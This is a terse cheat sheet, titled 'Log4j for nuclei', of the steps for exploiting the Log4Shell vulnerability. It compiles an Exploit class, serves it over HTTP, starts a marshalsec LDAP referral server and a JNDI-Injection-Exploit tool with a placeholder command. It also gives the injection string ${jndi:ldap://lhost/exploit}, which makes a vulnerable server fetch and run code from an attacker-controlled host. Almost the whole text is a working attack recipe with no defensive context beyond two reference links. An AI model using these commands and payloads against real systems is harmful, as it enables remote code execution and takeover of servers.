Log4j for nuclei
javac Exploit.java
python3 -m http.server 80
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit
insert log ${jndi:ldap://lhost/exploit}
///////
java -jar exploit/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'here_command' -A 0.0.0.0
https://cloud.tencent.com/developer/article/1653754 https://www.freebuf.com/vuls/208339.html